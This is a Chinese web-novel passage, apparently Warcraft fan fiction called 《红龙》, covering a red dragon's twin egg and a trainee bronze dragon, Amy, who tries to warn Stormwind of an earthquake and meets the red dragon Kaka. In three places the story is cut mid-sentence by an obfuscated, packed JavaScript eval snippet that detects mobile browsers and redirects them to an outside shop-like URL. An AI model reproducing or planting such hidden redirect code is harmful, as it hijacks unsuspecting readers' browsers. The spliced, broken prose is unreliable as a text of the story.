《红龙》 1. 引子 若干世纪前,格瑞姆巴托。 紧闭的大门前,一个男人正焦躁不安地来回踱步,他身材高大挺拔,头发梳得一丝不苟,一身考究尊贵而不显浮华的衣饰,衣领和袖口的纽扣镶嵌着名贵的赤尖石,一看便知是上层社会的达官显要。 五小时前他便在这里徘徊,然而却始终没人给他带来好消息。 “老爷?老爷?”一个女仆轻声唤道。 男人跳起来,屏住呼吸,瞪着那个女仆:“怎么样了?孩子们生下来没有?” 女仆一脸汗水,气喘吁吁。 “老爷,夫人平安产下了一批蛋,您要做父亲了。” 男人如释重负,大大了松了口气。 “赞美阿莱克斯塔萨女王!哦……哦我的天,终于……” 他念叨了半天,却忽然发现那位女仆只是站在那儿不吭声,便奇怪地问: “怎么了?夫人平安生产,你为什么不高兴?” 女仆勉为其难地露出一个笑容:“恭喜老爷……只是……” 见她欲言又止,男人紧张起来,连连追问。 女仆有些不知所措,只得嗫嚅着说:“还是……老爷还是快去看看吧。” 男人二话不说,咣的一声推开大门。 大门后并非是光可鉴人的长廊或装潢华丽的厅堂,而是一个燃着千百只火炬的岩洞。 “吾爱,你在哪里?”男人急切地呼唤着。 昏暗中腾起两蹙鲜红色的光。 一条巨大的龙正趴在岩洞中央。 她全身覆盖着红宝石般的赤色鳞片,口鼻不时地喷出灼热的气息。 她是一条刚刚生产完的雌性红龙。 看到那个男人走进岩洞,红龙竟缩了缩身子,像是做错了什么似的。 “吾爱?”男人惊愕地望着他的妻子,“你怎么了?……太累了吗?……” 龙没有应声,只是将头埋进前爪,避开了男人的视线。 男人只当是她过于辛劳,忙出言安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363251|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰。 但他的妻子却始终没能高兴起来。 “到底怎么了,吾爱?我……我做错了什么吗?” “那只龙蛋……”红龙突然开口,声音悦耳动人,却带着浓浓的悲伤,“亲爱的,我为什么会生下那只龙蛋?……” 男人顺着妻子的视线望去,只见岩洞中矗立着一只只刚刚离开母体、还隐约冒着热气的龙蛋,他审视着他的孩子们,却有了意外的发现。 数十只龙蛋中,有一只特别显眼。 它足足比它的兄弟姐妹们大了一倍有余,鲜红色的光纹在它的外壳涌动,顶端的裂口一开一合。 男人的脸色变了。 他听到了两个频率不一的呼吸声。 那只龙蛋里,有两颗心脏在跳动。 “天啊。”他喃喃自语,捂着脸,缓缓地跪在地上。 “为什么是双生子?……” “红龙一族的诅咒,为什么会降临在我的孩子身上?” …… 2. 第 2 章 若干世纪后,现在。 ……这里是艾泽拉斯新闻网发回来的现场报道——暴风城南部的骚乱已经持续了二十八个小时,防暴警察动用了催泪瓦斯,并逮捕了多名蓄意滋事者。当局称情况已经得到控制,接下来发生大规模骚乱的可能性很低,同时还提醒民众留在家中尽量不要外出…… ……虽然暴风城市政府已经封锁了南部市区的主要交通干道,但还是有很多民众决定离开这座城市,从画面中我们可以看到他们当中不少人都开着自己的旅行车带上了全部家当,至少有上百个家庭试图搬到附近的城镇居住,同样的情况也发生在暴风城的周边地区——闪金镇、湖畔镇、夜色镇和月溪镇也有不少居民开始迁离,现在让我们来采访一下…… …… ……“无法理解?要是你看过那条信息,就不会问这种烂问题了!” ……“我真不敢相信,他们封锁道路不让我们出城,只是为了怕丢脸?” ……“那些照片不可能是伪造的,还有那些视频影像,我认为那绝对不是电影特效!……你知道吗?我的一个邻居说他在那些照片里看到了他女儿满脸是血被压在废墟里的样子!这不可能是恶作剧!” ……“别拍了!让开!……去你的狗屁新闻自由!我们在逃命哪!!” …… ……据匿名人士透露,这场突如其来的混乱是由一则在互联网上发布的匿名信息所导致——在七十二小时前,也就是骚乱发生的前一天,在暴风城最大的网络互动论坛“狮王之傲”上出现了一条没有标题的匿名信息,发布者“预言”在下周一,也就是十二日的下午两点二十八分,在暴风城南部将发生特大地震,整个东部大陆北至银月城,南至藏宝海湾都会有明显震感……欲了解最新消息,请锁定铁炉堡七频道的新闻焦点。 ……据介绍,一直以来网络上都会不时地出现一些谣传,但无论是致命病毒扩散、军方魔能导弹防御系统失控还是皇室丑闻,最终都被证明是某些别有用心的人精心炮制的谎言,然而这一次的“谣传”不同于以往,发布者非但精确地预言了“灾难”发生的准确时间、地点、规模和所造成的伤亡损失,还附带上传了多张照片和一段视频…… ……这则信息一经发布就以惊人的速度传播开来,在有关部门采取紧急措施将其屏蔽,并在追查信息发布者的身份时,部分民众已经开始自发撤离居住地,并引起了恐慌,市政府试图劝说民众在专家辨明照片和视频的真伪前保持冷静,但似乎并未得到理解…… ……由于各种原因,暴风城南区基本处于□□、狂热宗教武装分子和无政府主义者的控制下,治安每况愈下,市政府出动大批警力试图维持秩序导致当地“蛇头”不满,认为这是市政府精心策划的一场骗局,目的就是为了寻找借口向他们宣战,而暴风城警方则认为南区“蛇头”的唆使和煽动导致了这场骚乱,但无论真相如何,遭受不幸的始终都是夹在当中无所适从的平民百姓——莫高雷卫视咨讯台记者克罗·锐角,暴风城报道。 ………… …… 五月十日,星期六,下午四点十七分,暴风城南区。 天色阴沉,街道上一片狼藉,到处都是废弃的塑料袋、捏扁的空易拉罐和踩烂的蔬果,火苗有气无力地舔着电话亭破碎门框上仅存的木屑,其他在骚乱中被投掷的□□引燃的火堆有些已经熄了,浓烟弥漫。 即使在暴风城南区最大最豪华酒店的门前也好不了多少,骚乱中狂怒的人群用手中碎了半截的酒瓶和木棍宣泄怒气,那扇至始至终都紧闭的大门上布满凹痕,还被喷上了各种花花绿绿的肮脏字眼。 一个黑衣人悄无声息地走下楼梯来到酒店大堂,头顶的黑斗篷拉得很底,把脸挡住了一半。 见有人朝层层加固的大门走去,立即有两个身材高大,穿着黑西装,戴着袖珍对讲机的酒店保安上前。 “对不起,小姐,现在是非常时刻,请待在您的房间里。” “酒店必须保证每一位客人的安全,请您理解并配合我们的工作。” “我……得去一趟银行。”她低声说,“我身上没有足够的现金了——酒店里的ATM也无法使用。” “请不用担心,这段期间内客人的一切住宿开销都由酒店承担。” “现在南区大部分银行都已暂时停业,相信我小姐,您现在绝对不会想到外面去的。” “原来如此。” “如果没其他事需要帮忙的话,能让我们送您回房吗?” “好的,谢谢。”她低声说,“6708号房。” 其中一位酒店保安陪着他走进电梯。 这是酒店的观光电梯,透过巨大的落地观景窗能将周遭景色尽收眼底,不过现在能看到的只有满目疮痍,附近街区的骚乱虽然暂时停止,但这半个城市依然阴云笼罩,远处不时腾起冲天火光和滚滚黑烟。 她忽然开口: “请问,您听说过网络上的神秘预言吗?” 保安一愣,犹豫了片刻,点了点头。 “请问……您为什么不和其他人一样,离开这座城市呢?” 她的声音平和中透着些许关心,令那保安不禁心生好感。 “我的家人都不住在这里,而且……那个……” “酒店老板答应付您五倍薪水?”她接过话。 “呃……您……您怎么知道?” “我听清洁房间的服务生说的。” 那位保安有些窘迫,不知该如何应答。 “离开这里。”她突然说。 “哎?” “疏散酒店里的人,让他们设法离开这里。” “小姐,您也相信那个网络上的谣传吗?” “这栋建筑物虽然抗震标准很高,但依然有在强震中倾塌的可能。” “您去跟我的老板说比较好一点,我只是个保安。”男人嘟哝着,“不过我很怀疑他会听得进去,要他为了某个‘未来使者’的‘预言’疏散客人关门停业,那简直和要他的命没什么区别——而且他向来对这些‘怪力乱神’的东西嗤之以鼻。” “要怎样才能让他相信呢?” “谁知道呢……大概除非让他亲眼看见那些……嗯,怎么说的来着?对了——超自然现象,也许他见识过了就会相信了。” 女孩点了点头。 电梯已经升到第六十层。 “这电梯里有摄像头吗?”她突然问。 “有的。” “你叫什么名字?” “托德。” “托德,我要你听好。”她郑重其事地说,“无论你接下来看到什么,都不必惊慌——调出录影资料去找你的老板,告诉他你所见到的,把摄像头拍到的放给他看。” “小姐?……” “无论你用什么办法,都要说服他相信那个预言,让他立即疏散酒店里的所有人,——你会照我说的去做吧?” “我……我……我会的!可是小姐,您究竟要做什么?……” 女孩略微抬起头,朝那个保安微微一笑。 托德惊呆了。 那个女孩有一双银色的眼睛。 不掺一丝杂质,晶莹剔透,像溪水一般清澈明亮的纯银色。 他从来没有见过这样美得惊魂夺魄的眼。 而下一秒,她突然朝电梯的观景窗冲去! “小姐!停下!不!!——”托德惊恐地大叫。 她以一个优美的鱼跃姿势跳出电梯——她并没有撞碎观景窗,而是透过一层水波状的涟漪悄无声息地“穿”壁而出,那一瞬间,托德看到她的眼中一闪即逝的白光。 宛若流星。 他下意识地伸出手想拉住她,却扑了空,他的指尖戳在了坚硬的钢化玻璃上,疼得他缩起身子,他眼睁睁地看着那个披着黑斗篷的银瞳女孩坠向地面。 接着她突然化作一团黑烟,就像滴入水中扩散开来的墨汁。 然后无影无踪。 叮的一声,电梯到了顶层。 艾米的心情很糟。 十分钟前,她当着一个凡人的面展现了自己的能力。 现在她正在满世界寻找一个能让她接入网络的地方。 所有的网吧、邮局、银行和快餐厅都停业,她住的酒店里虽然有可用的电脑,但网络已被切断。 她应该带她的个人信息终端来的——艾泽拉斯最好的设备,超越凡人至少五十年的科技,性能强大得能与服务器媲美,却比移动电话更便于携带。 然而那些人就像是早就料到她的遭遇似的,禁止她携带一切“有助于她完成任务”的高科技,她被允许带来这个时间点的只有她的身体和一个里面存着六万八千G的银行帐号。 她光着身子出现在深更半夜的大街上,活像一个女终结者,接下来是一些颇不美好的遭遇,她已经懒得去回忆了。 她并不喜欢这个破败混乱的地方,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363252|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一分每一秒都像是世界末日。 好吧,骚乱过后,这里已经完全像个地狱了。 她发誓当她发布那些信息时,确实抱着普渡众生悲天悯人的高尚情操,并且从内心地为自己的行为感到自豪与荣耀。 然而很快她就发现自己并不太理解凡人的思维模式,同时高估了他们对“超自然现象”的承受能力。 这令她十分沮丧。 所以当她发现有人在跟踪自己时,更是格外懊恼。 跟踪她的是个男人,瘦高个,穿着印满向日葵的短袖衬衣,白色休闲裤,戴着墨镜,亚麻色的短发,两只手臂纹得花花绿绿,嘴里好像还叼着根烟。 那衬衣!那墨镜!那白西裤!还有那纹身!呕—— 这种骚包的小混混跟踪她做什么?嫌她还不够烦吗? 她闪身进了一条小巷。 穿着花衬衣的男人朝巷道里张望,却是空无一人——这是条死胡同,没有任何出口,墙高十余米,那女孩除非背上有翅膀,否则根本不可能消失。 男人踩灭烟头,冷哼一声,不紧不慢地走开了。 而此时艾米已身处一栋办公楼中。 这间办公室里有电力供应,网络也能正常工作,她打开了一台电脑。 她无需亲手操作,只是凝视着显示屏,每当她眼中闪过银光,屏幕上就会相应出现某些操作,似乎只要她用想的就能控制这台机器。 好的,接下来,让她把“预言”的最后的一部分完成吧。 艾米深吸了一口气,闭上了眼。 当她再次睁开眼时,她瞳孔中的银光甚至映亮了半间办公室。 屏幕上飞快地闪过无数画面。 救援人员从校舍废墟中拿出孩子们的书包摆在一起,等待父母认领; 痛失亲人的幸存者在裹着遗体的塑胶袋旁抱头痛哭; 一个年轻的幼稚园教师用自己的身体护着三个孩子,孩子活了下来,而她却没能幸免于难; 暴风城、奥格瑞玛、铁炉堡、幽暗城、达纳苏斯、雷霆崖、埃索达和银月城所有机构为遇难者降半旗致哀; …… 艾米的身躯微微颤抖着,当她眼中的光芒熄灭后,她扶着办公桌喘息着。 她努力让自己的心绪平静下来,随手擦了擦了眼睛,长长地出了口气。 无论多少次看到那些画面,她都会伤心难过。 无论人类多么莽撞无知,做过多少过分的事,她都无法眼睁睁地看着这一切就这样发生。 那些人类的孩子,都还那么小。 他们什么都不知道,正好奇地想要探求这个世界的秘密。 该死的,她做这些事是想帮他们,为什么这些人类不愿接受她的忠告,却要曲解她的好意?什么政府阴谋?什么帮派纷争?难道这些会比他们和他们孩子的生命更重要吗? 由于大地震发生在人口密集的城区,所以遇难者数目高达六十余万。 而从她第一次发布“预言”到现在,不愿意拿自己性命作赌注,带着全家老小逃离暴风城南区的只有不到八千人,政府不希望大规模集体逃难影响城市形象,所以封锁了主要道路,而至于闪金镇、湖畔镇、月溪镇和夜色镇,居民自发撤离了大概两万余人。 更多的人把她的“预言”视为无聊人士的危言耸听,当作茶余饭后的谈资。 六十万遇难者,离灾难发生还有不到两天,她只救了不到二十分之一。 她该怎么办? 她还能怎么办? 换个角度来想,她已经救了将近三万人,太棒了,她应该跑去暴风城北区的酒吧里给自己买杯烈酒,好好犒赏自己一下。 艾米自嘲地笑了笑,把那些图片整理归类,然后发到了一个论坛上。 她已经尽力了。 如果她拥有泰坦那样的神力,她才不会畏首畏尾地躲在阴暗的角落偷偷发什么“匿名预言”,她会直接打个响指把整个暴风城连同周围的四个镇连根拔起,统统挪到某个安全的地方去,她才不管那些人类是否乐意这种安排,等他们明白自己逃过一劫自然会对她感激不尽的。 可惜她不是泰坦。 她只是一条平凡的、刚出道的…… 艾米叹了口气,眼中一闪光,关了电脑。 “哦……原来那些谣传就是这样子散布出去的呀。” 身后突然传来一个男人的声音。 艾米倒抽一口冷气。 3. 第 3 章 那个穿着印满向日葵的花衬衣、白色西装裤、戴着墨镜的男人正双手插在裤兜里,歪着脑袋一脸讥诮地盯着她。 “你是谁?” “这种问题应该由我来问吧?”男人吊儿郎当地说,“两天前我就觉得有点不对劲了,空气里充斥着呛人的味道,按理说闻到女人的味道应该令我兴奋才是,可我却一点也高兴不起来啊。” 他夸张地抽了抽鼻子,脸上的五官都皱在一块: “老天,你就像一块刚从炼乳里捞起来的蛋糕,浑身上下都是……” “‘泰坦尼亚’的味道。”他咂了咂舌头,“傲慢、浮华、矜持,还很腐朽。” 艾米睁大眼。 男人上前一步:“你知道,雄性龙可是很不喜欢有同类擅自闯入自己的领地的——即便对方是一条年轻诱人的雌性龙。” “走开!”艾米眼中白光一闪。 办公室内的空气突然激起涟漪状的波纹,紧接着所有的东西都慢慢地飞了起来。 一声巨响,男人身后的墙壁立即凹下去一大块,蛛网般的裂痕延伸至十余米开外。 但他却纹丝不动。 “看来我有必要教教你什么是礼貌了,你这条泼辣的小母龙。”男人懒洋洋地说,“闯进我的地盘胡作非为,还竟然主动对我出手,才两百年的功夫泰坦尼亚的龙就变得这么粗鲁无礼了吗?” 说着他略微颔首,左手食指将太阳眼镜往下一扳。 艾米看到了一双猩红色的眼瞳。 那简直像是两团在黑暗中熊熊燃烧的火焰。 这太不可思议,她做梦也没想到,居然会在这种地方遇到一条—— “红……红龙?!” 话音未落,一团鲜红的光便没入她的胸口,她感到自己全身的血液开始沸腾。 “我只需要让你的心跳超过每分钟三百下,你这具人类的身体就不能再继续用了。”男人轻描淡写地说,“我只要让你体内的血液以十倍的速度流动,你的血管就会承受不住压力爆裂开来,现在的你就像一桶插着引线的汽油,随时都可以被我点燃,当你的生命力被焚尽后,你就会死。” 艾米痛苦地呻吟着,她知道这个男人没有危言耸听。 红龙拥有控制生命的能力,他们能够加速生长,治愈伤痛,最强大的红龙甚至能起死回生,但生命的反面是死亡,红龙的能力一方面令他们成为生命守护者的同时,也赋予了他们超级杀手的另一重身份。 她太大意了,她以为自己隐藏得很好,却全没料到在这座人类的城市中竟然还有她的同类,一直在暗处盯着她。 但是,她怎么能死在这里? “不打算求饶吗?”男人问,“我这个人很好说话的。” 艾米身体周围的空气突然扭曲起来。 她突然消失,只留下了一团四处滚动的黑烟。 “原来是瞬间移动呀。”男人自言自语。 他拉出一截埋在残壁里的电缆,不由分说朝那团黑烟投去。 艾米掉进了水里。 慌乱之中她也不知自己传送到了哪里,这里好像是某栋建筑物顶部的露天游泳池,她扒着池边试图爬上去,脚踝却突然被什么东西缠住,接着一股巨力袭来,把她整个人再度拖进水里。 当艾米看到一截闪着火花的电缆跟随自己穿越了空间,缠住了她的脚,和她一起跌入水中时,她感到无比绝望。 电流瞬间传遍整个泳池,这种程度的电场虽不足以令她的身体麻痹,却能屏蔽掉她的特殊能力,令她在一段时间内无法再次瞬间移动。 男人尾随而来,他踩着水面踱到池边,饶有兴致地看着浑身湿透的她。 “我想我应该大概知道你的底细了,小母龙。”他露出痞子才有的笑容,“谁能想到,一条雌性青铜龙不好好地待在时光之穴,却会跑到暴风城来散播谣言呢?” 艾米翻过身,咬牙切齿地瞪着那个男人。 “青铜龙是操纵时空的好手,他们可以任意在不同的时空位面穿梭,但看起来你还没那么厉害……只能有限地使用空间传送能力,这好像是青铜龙里的新手才有的水平呀——” “我们不能过于频繁地使用自己的能力!”她摸了一把脸上的水,没好气地叫道,“每一次都会扰乱时空轨迹,事后都得自己设法修复!跟你这种动不动就乱来的龙可不一样!” “哦,我忘记了,作为五大龙族中唯一的金属龙,青铜龙总有种莫名的优越感。”男人讥讽地说,“让我猜猜你这条小母龙控制时间的能力有多强好了——只能将时间暂停,每次最多持续……七秒?” “是十秒!”艾米大叫,随后一把捂住自己的嘴。 “原来能暂停时间十秒呀,真是了不起。”男人满意地点了点头,“好像每天只能用一次?” 艾米抱着膝盖不吭声,男人一看便知自己说中了。 “这可真是太希奇了,青铜龙极少干涉这个世界的事务,除非有人企图篡改历史或者按照自己的心意创造未来,这一次为什么会派一条能力卑微的青铜小母龙来暴风城呢?” “不要那样叫我!” “哪样?小母龙吗?我觉得这个称呼很适合你,很可——” 咔—— “爱”字还没说出口,男人感到一个硬硬的东西抵着他的胸口。 那是艾米手中的枪。 “泰坦尼亚的最新科技,对任何生物都有效的武器,无论是人形、元素、亡灵、恶魔、野兽还是巨人——当然也包括龙类。”她冷冷地说,“只要你轻举妄动,我就一枪在你胸口开个窟窿——那样的话,你这具人类的身体就不能再继续使用了吧,红龙先生?” 男人一挑眉,随后眼珠一转,举起双手。 “嗨,别生气,亲爱的,我刚才只不过是和你开玩笑而已——像你这样的美人……” “闭上你的嘴。”艾米用警告的口吻说。 男人沉默了。 她就这样用枪顶着对方的花衬衣,一言不发。 “我以为你有话要说。” “我叫你闭嘴。” 两人同时开口。 “亲爱的我不能闭嘴,死刑犯也有开口说话的权利,更何况我并没有伤害你——” “把我全身的血液弄沸,企图烧掉我剩余的生命,这原来不算伤害。” “好的,这是我不对,但根据泰坦尼亚的龙族法律,雄性龙有权为了捍卫自己的领地付诸必要的武力——现在,让我们来平心静气地谈一谈:小母——好吧,青铜龙小姐,我是一条雄性红龙,而这里是我的地盘,未经许可亦未通报便闯入这里的是你,而我所做的只不过是为了捍卫自己的领地而付诸了一点必要的武力而已,换言之你是擅闯私人领地,而我是正当防卫,对吧?” “……” “如果你有异议我们可以去找个仲裁法庭——” “证据。” “什么?” “证据。”艾米盯着他赤红色的眼瞳,“表明这里是你的领地的证据,就好像狗会四处‘那个’来作标记一样,你也一定在某些地方留下了自己的气味划地为界了吧?可是我来到这里可没有闻到任何雄性龙的味道,口说无凭,我也可以说这里是我的地盘,而你是非法入侵者。” “雌性龙是不会划分势力范围的。” “相信我,她们会的——尤其是当她们手里有枪的时候。” “我觉得你用狗做比喻是对我的冒犯。” “狗是胎生哺乳类动物,而龙是卵生爬行类,从生物学的角度上来说我们比较低等,因此与其说是冒犯,不如说是对你的恭维,嗯?”艾米冷笑道,“想跟我瞎掰乱扯,你还太嫩了,小子。” “我现在仍旧可以让你的心脏爆掉的。”男人耸了耸肩。 “在那之前我会先射穿你的心脏,而且你无法用特殊能力自我治愈。”艾米不甘示弱。 男人张了张嘴还想说些什么,一个徽章出现在他眼前。 “这是什么?” “我是A·G·S·A的人。” “那是什么?” “艾泽拉斯世界安全局,这个组织在五大龙族首脑的支持下建立,一直以来都秘密行事,很少有人知道它的存在,但它确实一直在暗中保护这个世界——我是艾米探员。”她飞快地说。 “我好像看到这个徽章上有‘见习’的字样。” “我目前、暂时、还是个见习探员!”她咬牙切齿,“但我很快就会成为正式探员——只要我顺利完成这个任务。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363253|199775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦,那么祝你好运,现在我可以走了吗?” “站住。” “你还要怎样?青铜龙探员小姐。”男人摊开手,一脸无辜地望着她。 艾米凝视着这条雄性红龙身上的向日葵花衬衣,深深吸了口气: “后天下午两点二十八分,暴风城南区会发生特大地震,殃及周遭四个卫星镇,半个暴风城会被夷为平地,遇难人数高达六十余万,经济损失难以估量。” “呀,这不就是你这两天发布的‘预言’吗?” “而我的任务就是阻止这场灾难的发生,即使不能阻止,也要尽可能地降低人员伤亡。” 艾米站起身,盯着那男人的赤色眼瞳。 “现在我以艾泽拉斯世界安全局见习探员的身份,要求你全力配合我完成任务!” 男人目瞪口呆。 过了半响,他问: “为什么是我?” “因为你是我在暴风城里遇到的唯一一条龙。” “那又怎样?” “AGSA是直属五大龙族首脑的机构,AGSA探员在执行任务时,所有龙族成员都有义务在能力范围内予以配合,这是规定。” “我从来不知道有这种事,这个什么世界安全局我连听都没听说过。”男人一脸嘲弄地说,“你一直用枪指着我,这是要求?还是胁迫?见习探员自己搞不定的事,所以才弄出个什么规定要我‘配合’吗?” 他毫不掩饰地强调“见习”二字。 艾米并未动怒。 她很疑惑地看着那个男人。 “我以为你会很痛快地答应帮我的。” “为什么?”他反问。 “阻止灾难,挽救数以万计的无辜生命,这难道不是好事吗?” “是吗?” 男人冷冷地撇下一句,转身朝高楼边缘走去。 “我真不敢相信,你居然会无动于衷。”她冲着他的背影叫道。 “我从不做对自己没好处的事。” “你真是个冷血的家伙。” “龙本来就是冷血动物。” “身为一条红龙,作为生命守护者的一员,你自认无愧于良知吗?!” 男人突然闪身返回,动作快得令她目眩,没等她反应过来,他已经劈手夺过她的枪,顶住了她的喉咙。 “不要再跟我提红龙这个字眼。” 他的声音低沉而充满威慑感,和先前那个嬉皮笑脸的小混混简直判若两人。 “如果可以,我宁愿自己的眼珠不是红色的。” 她咽了口唾沫,怒视着他。 “你是我见过的最差劲、最下作、最卑劣的红龙。” “你见过多少条雄性红龙?”他冷笑。 “不算很多,但他们每一个都比你好百倍。” “是吗?” “他们魁梧强壮,和你这副软脚虾的样子不同;他们温和、善良、彬彬有礼,都是尊重生命,富有同情心的男士,不像你这么——” “那你为何不去找那些好男人帮你拯救众生,却来指望我这条一无是处的坏龙?”他把枪塞进艾米手里,“听好了,小母龙,我懒得跟你打嘴仗,也没空和你纠缠,你到处散布谣言弄得这里鸡飞狗跳已经给我添了很多麻烦,如果你是条公龙我绝对会直接宰了你——现在带着你的枪和你那无聊的灾难妄想滚出我的地盘,不要让我再见到你。” 说着不客气地把她推开,扬长而去。 “你居然……你居然不相信我的话!青铜龙的预言是百分之百正确的!从古到今不知道多少人做梦都想得到青铜龙关于未来的暗示,而你居然说我的预言是妄想!”她从来没有这么生气过,如果这条雄性红龙想激怒她取乐,那么他已经成功了。 “回时光之穴做你的救世主之梦吧,小女孩,现实可是很残酷的呢。” “后天大地震的时候,我一定会让所有人安全撤离,而你一定会被压断腿,像张破地毯一样躺在废墟的瓦砾下面把血流干,然后悲惨地死掉!到时候无论你怎么求我,我也不会救你的!——对,你说的没错,现实是很残酷的!” 对于她的诅咒男人充耳不闻,只是吊儿郎当地摆了摆手,然后纵身跳下摩天大楼。 4. 第 4 章 诅咒归诅咒,艾米并不打算放走那个男人。 女性的直觉告诉她,这条雄性红龙也许是这里唯一能帮助她的人。 所以这一回换作她来跟踪对方了。 他看起来对这里非常熟悉,当到处都在游行示威、聚众抗议和借机作乱时,他却能轻车熟路地找到一间仍在营业的隐蔽酒吧。 “嗨,瞧瞧谁来了,这不是我们亲爱的卡卡吗?” 酒吧老板是个身高至少两米的大胖子,一脸浓密的络腮胡,胸口和手臂上全是毛,穿着耳环和鼻环,一见到那男人便热情地张开胳膊来了个熊抱。 “轻点,该死的,我全身骨头都被你挤得咯吱乱响。”男人龇牙咧嘴。 “卡卡,你的身体还是这么糟吗?你一定没有听我的劝告,少抽点烟,多吃点肉和鸡蛋,勤上健身房吧?”老板一脸关心地望着他,“你才二十出头,体力却已比五十岁,哦不,六十岁的老头还要差呢。” “是吗?想必是因为我纵欲过度的缘故吧?”男人笑着走向吧台,冲调酒的伙计打了个响指,“给我来杯黑雕朗姆酒。” “我说真的,卡卡,你应该上医院去看看。”老板皱着眉头嘟哝着。 原来那个男人叫卡卡。 真是奇特的名字,尤其是放在他身上。 酒吧老板的话验证了艾米心中的某些猜测。 她在跟踪卡卡——事实上称之为“跟随”更恰当一些,因为她压根没有隐藏自己的意图,两人始终保持着二十米左右的距离,而且她还站在上风处,卡卡一定能闻到她身上属于雌性龙的味道,换句话说他很清楚自己正在被跟踪。 艾米注意到了卡卡身上的一些异常之处:首先作为一条成年红龙,他的人类形态着实过于“瘦弱”了——红龙掌握着生命的秘密,因此他们是最能体现生命之美的龙,无论是龙形态还是人类形态都处于审美上的绝对优势,雄性红龙全都身材高大,体魄健美,雌性红龙则清一色的是细腰长腿的高挑美人。 然而卡卡却不是这样,他的个子并不算矮,但以人类的标准来看他也很消瘦,他并不像身上穿着的向日葵衬衣那样阳光健康,整个人充斥着一股阴霾气息。 他的体力很差,他甚至每走上几百米就得停下来扶着墙喘息着稍事休息。 他走路的姿势有些不太自然,经过观察,艾米发现他的右腿有一点跛。 随便从大街上找个凡人都比他强壮,若不是那双标志般的火红眼瞳和控制生命的特殊能力,她绝对不会认为这个男人会是条红龙。 他到底是怎么回事? “嗨,小姐,你是谁?” 艾米回过神来,只见那个熊一般的酒吧老板正瞪着她。 “我……” “这里现在乱得很,你最好不要没事一个人在外头走来走去。” “我没有。”她忙道,“所以我这不是来您的店里了吗?公众场合,会比较安全一点吧?” “那可难说。”老板摇了摇头,“这里全都是一群喝醉了酒就满嘴脏话胡乱动粗的男人,他们每个人的荷尔蒙和肾上腺素都在熊熊燃烧,我可不保证你走进去会发生什么事。” “其实我是来找一位朋友的,他刚刚进去了——他叫卡卡。” “卡卡?小姐,不要以为你刚才偷听了我们的话就能蒙混过关——那人从来没有朋友,没人知道他的底细。” “您好像和他交情不错。” “每一个百无聊赖到我这里找酒喝的人都和我交情不错——被上司骂了的、被人骗了钱的、老婆跟别的男人上了床的、女儿被人弄大了肚子的、股票被套牢的、发现自己是个同性恋的……和我打交道的都是有各种麻烦的男人。”老板耸了耸肩,“至于卡卡——我还真不知道他是干什么的,不过道上混的好像都对他很客气,所以我也对他很客气。” “把那个女人轰出去!”卡卡的吼声从吧台那边传来,随后是一阵剧烈的咳嗽。 “别再让他喝烈性朗姆酒,他会把肺都咳出来的!”老板冲着调酒的伙计大声咆哮,又转头瞪着艾米,“看来他好像真的认识你,那么——小姐,我该把你轰出去吗?” “我建议您最好不要。” 艾米把斗篷拉起,遮住半边脸,走进酒吧,坐在男人身边的高脚凳上。 “走开。”他不耐烦地说,“我说过了我对你那疯狂的救世主妄想没兴趣。” “我不打算再和你谈那场即将发生的灾难了。”她克制着自己,以免把手边杯子里的水浇到他头上,“我只是想了解你,要知道,在人类最大的城市里,居然住着一条红龙,他以人类的身份行动,似乎已经完全融入了他们的社会中,这是件很不可思议的事。” 他绷着脸,盯着杯子里被金红色酒液浸泡着的冰块。 “我知道这样问很失礼,但是……”她问,“你是不是病了?” “红龙从来不会生病。”他说,“就算偶尔有点病痛,也能自我治愈。” “当然,你们是生命守护者。”她点了点头。 “不要再跟我提什么生命守护者。”他面无表情地盯着艾米,“你这样旁敲侧击,无非是想提醒我作为一条红龙应该履行什么职责罢了。” “可是你拒绝履行自己的职责。”艾米望着他。 他叹了口气,侧过身面对着她,“小姐——” “艾米。”她打断他的话,“你可以叫我艾米,而我也会叫你卡卡。” “你觉得我这个名字很可笑,对不对?”他哼了一声,“这种名字应该像个闪闪发光的铭牌,别在那些天使般的阳光美少年身上,而不应该被我这种人所拥有吧?” “我不明白你这种莫名的自卑感究竟是从哪里来的。”她摇了摇头。 “看看我,你就知道了。” 艾米再次把目光集中在这个男人身上。 透过酒吧昏暗的灯光,卡卡暗红色的眼瞳注视着她,无声地发问: 你见过像我这么丑陋、虚弱的红龙吗? 她无言以对。 想到自己之前一气之下说过的话,她忽然觉得有些愧疚。 